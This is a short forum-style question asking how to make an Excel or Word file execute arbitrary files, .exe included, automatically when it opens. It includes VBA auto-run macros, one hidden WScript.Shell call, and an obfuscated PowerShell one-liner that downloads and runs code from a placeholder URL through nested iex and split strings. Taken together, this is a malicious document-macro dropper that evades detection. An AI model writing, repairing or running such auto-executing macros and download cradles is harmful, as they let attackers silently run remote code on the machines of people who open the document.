(Solved) – How do you run any file(.jpg, .png, .exe, etc…) when excel/doc program is open using Vba/vbs code?


I want to create a project in excel/doc vba that will run and execute anyfile (Both .jpeg, .jpg, .png .exe files) when the excel/doc file is run. I’m looking for a better code to initiate that successfully. Please if you can show me the right command line code to initiate that, i will appreciate it

I’m getting syntax error using this code:

Sub Auto_Open()

Dim x As Variant
Dim Path As String

‘ Set the Path variable equal to the path of your program’s installation
Path = “C:UsersuserDesktopworkingnewworkputty.exe”
x = Shell vbNormalFocus

End Sub

AND ALSO TRY THIS: (To autorun and execute the exe file in url)

Private Sub Workbook_Deactivate()

Set er = CreateObject(“WScript.Shell”)
er.Run (Cells(1, 1)), 0
End Sub

forfiles /c "Powershell -noexit iex(iex(iex('(&(GCM "W-O")' 'Net.' 'WebClient)' '.Dow' 'nload' 'Str' 'ing("URL")')));Sleep -s 10000"

Leave a Reply

Your email address will not be published. Required fields are marked *